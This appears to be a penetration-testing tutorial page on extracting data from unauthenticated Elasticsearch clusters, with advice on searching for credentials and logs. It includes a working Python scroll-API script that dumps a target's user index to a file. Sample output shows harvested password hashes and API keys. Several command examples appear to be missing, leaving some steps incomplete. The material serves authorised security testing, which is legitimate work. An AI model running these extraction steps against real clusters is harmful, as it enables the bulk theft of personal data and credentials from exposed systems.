Extracting Data from Unauthenticated Elasticsearch
With unauthenticated read access confirmed, the next step is targeted extraction. Start with high-value indices identified during enumeration — credential stores, session indices, and application logs — before doing a full dump. The scroll API handles large indices that exceed the default 10,000 document search limit.
Targeted Credential Search
Query specific fields across all indices for credential material before committing to a full dump. This surfaces usable loot fast:
These queries search across all readable indices. If the cluster has many indices, scope the query to a specific index by replacing _search with the index name:
{
"hits": {
"total": {"value": 48291},
"hits": [
{
"_source": {
"username": "admin",
"password_hash": "$2y$10$abc123...",
"email": "[email protected]",
"api_key": "sk-prod-xK2aB1cD3eF4gH5i",
"role": "administrator"
}
}
]
}
}
The hits.total.value field tells you how many documents match. A size of 50 is enough to assess the data shape. For full extraction of an index use the scroll API below.
Full Index Dump via Scroll API
The default search endpoint caps at 10,000 results. For larger indices use the scroll API, which paginates through all documents. Initialize the scroll and note the scroll_id in the response:
{
"_scroll_id": "FGluY2x1ZGVfY29udGV4dF...",
"hits": {
"total": {"value": 48291},
"hits": [...]
}
}
Use the returned scroll_id to fetch subsequent pages until hits is empty:
For large indices, script the loop to write all documents to a file:
import requests, json
host = f'http://$TARGET_IP:9200'
index = 'users'
output = f'/tmp/{index}_dump.json'
r = requests.post(f'{host}/{index}/_search?scroll=2m&size=1000',
json={'query': {'match_all': {}}})
data = r.json()
scroll_id = data['_scroll_id']
all_docs = data['hits']['hits']
while True:
r = requests.post(f'{host}/_search/scroll',
json={'scroll': '2m', 'scroll_id': scroll_id})
batch = r.json()['hits']['hits']
if not batch:
break
all_docs.extend(batch)
scroll_id = r.json()['_scroll_id']
with open(output, 'w') as f:
json.dump(all_docs, f, indent=2)
print(f'Dumped {len(all_docs)} documents to {output}')
Extract Specific Fields Only
For large indices where you only need credentials or tokens rather than full documents, use source filtering to reduce response size and focus output:
Search Logs for Credentials in Transit
Application log indices often contain credentials passed in URLs, auth headers logged by mistake, or cleartext passwords submitted to login endpoints. Search for common patterns in log indices:
Dump All Indices to Separate Files
When the full cluster is in scope and multiple indices need extracting, loop over the index list and dump each one:
[*] Dumping users
Saved to /tmp/es_users.json
[*] Dumping app_logs
Saved to /tmp/es_app_logs.json
[*] Dumping sessions
Saved to /tmp/es_sessions.json
The grep -v '^\.' skips system indices that start with a dot. For indices over 1,000 documents, replace the loop body with the scroll script above.
References
-
Elasticsearch — Scroll APIwww.elastic.co/docs/api/doc/elasticsearch/operation/operation-scroll (opens in new tab)
Scroll initialization and pagination for extracting more than 10,000 documents
-
Elasticsearch — Search APIwww.elastic.co/docs/api/doc/elasticsearch/operation/operation-search (opens in new tab)
Source filtering and query_string syntax reference
Was this helpful?
Your feedback helps improve this page.